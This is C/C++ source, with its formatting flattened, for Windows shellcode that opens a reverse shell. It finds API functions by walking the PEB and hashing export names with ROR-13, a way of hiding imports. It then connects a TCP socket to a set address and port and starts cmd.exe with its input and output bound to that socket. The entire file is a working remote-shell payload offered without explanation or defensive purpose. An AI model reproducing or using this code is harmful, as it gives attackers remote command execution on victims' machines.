#include // must preceed #include #include #include #include #include #include #include #define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8)) _inline PEB *get_peb() { PEB *p; __asm { mov eax, fs:[30h] mov p, eax } return p; } #define ROR_SHIFT 13 constexpr DWORD ct_ror(DWORD n) { return (n >> ROR_SHIFT) | (n << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT)); } constexpr char ct_upper(const char c) { return (c >= 'a') ? (c - ('a' - 'A')) : c; } constexpr DWORD ct_hash(const char *str, DWORD sum = 0) { return *str ? ct_hash(str + 1, ct_ror(sum) + ct_upper(*str)) : sum; } DWORD rt_hash(const char *str) { DWORD h = 0; while (*str) { h = (h >> ROR_SHIFT) | (h << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT)); // ROR h, 13 h += *str >= 'a' ? *str - ('a' - 'A') : *str; // convert the character to uppercase str++; } return h; } LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) { int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset); } // NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to // ntdll.RtlExitUserThread. The solution is to follow the forwards manually. PVOID getProcAddrByHash(DWORD hash) { PEB *peb = get_peb(); LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink; LIST_ENTRY *ptr = first; do { // for each module LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr); ptr = ptr->Flink; BYTE *baseAddress = (BYTE *)dte->DllBase; if (!baseAddress) // invalid module(???) continue; IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress; IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew); DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (!iedRVA) // Export Directory not present continue; IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA); char *moduleName = (char *)(baseAddress + ied->Name); DWORD moduleHash = rt_hash(moduleName); // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th // element of both arrays refer to the same function. The first array specifies the name whereas // the second the ordinal. This ordinal can then be used as an index in the array pointed to by // AddressOfFunctions to find the entry point of the function. DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames); for (DWORD i = 0; i < ied->NumberOfNames; ++i) { char *functionName = (char *)(baseAddress + nameRVAs[i]); if (hash == moduleHash + rt_hash(functionName)) { WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i]; DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal]; return baseAddress + functionRVA; } } } while (ptr != first); return NULL; // address not found } #define DEFINE_FUNC_PTR(module, function) \ constexpr DWORD hash_##function = ct_hash(module) + ct_hash(#function); \ typedef decltype(function) type_##function; \ type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function) #define DEFINE_FWD_FUNC_PTR(module, real_func, function) \ constexpr DWORD hash_##function = ct_hash(module) + ct_hash(real_func); \ typedef decltype(function) type_##function; \ type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function) int main() { // NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but // they're not strictly needed. BYTE b0[] = {'w','s','2','_','3','2','.','d','l','l',0}; BYTE b1[] = {'1','2','7','.','0','.','0','.','1',0}; //long string for example BYTE b2[] = {'C',':','\\','W','i','n','d','o','w','s','\\','S','y','s','t','e','m','3','2','\\','c','m','d','.','e','x','e',0}; char *sock_lib = (char *)&b0[0]; char *r_name = (char *)&b1[0]; int r_port = 123; char *cmd = (char *)&b2[0]; DEFINE_FUNC_PTR("kernel32.dll", LoadLibraryA); LoadLibraryA(sock_lib); DEFINE_FUNC_PTR("ws2_32.dll", WSAStartup); DEFINE_FUNC_PTR("ws2_32.dll", WSASocketA); DEFINE_FUNC_PTR("ws2_32.dll", WSAConnect); DEFINE_FUNC_PTR("kernel32.dll", CreateProcessA); DEFINE_FUNC_PTR("ws2_32.dll", inet_addr); DEFINE_FUNC_PTR("ws2_32.dll", getaddrinfo); DEFINE_FUNC_PTR("ws2_32.dll", getnameinfo); DEFINE_FWD_FUNC_PTR("ntdll.dll", "RtlExitUserThread", ExitThread); DEFINE_FUNC_PTR("kernel32.dll", WaitForSingleObject); WSADATA wsaData; if (WSAStartup(MAKEWORD(2, 2), &wsaData)) goto __end; // error SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (sock == INVALID_SOCKET) goto __end; addrinfo *result; if (getaddrinfo(r_name, NULL, NULL, &result)) goto __end; char ip_addr[16]; getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST); SOCKADDR_IN remoteAddr; remoteAddr.sin_family = AF_INET; remoteAddr.sin_port = htons(r_port); remoteAddr.sin_addr.s_addr = inet_addr(ip_addr); if (WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL)) goto __end; STARTUPINFOA sInfo; PROCESS_INFORMATION procInfo; SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset sInfo.cb = sizeof(sInfo); sInfo.dwFlags = STARTF_USESTDHANDLES; sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock; CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo); // Waits for the process to finish. WaitForSingleObject(procInfo.hProcess, INFINITE); __end: ExitThread(0); return 0; }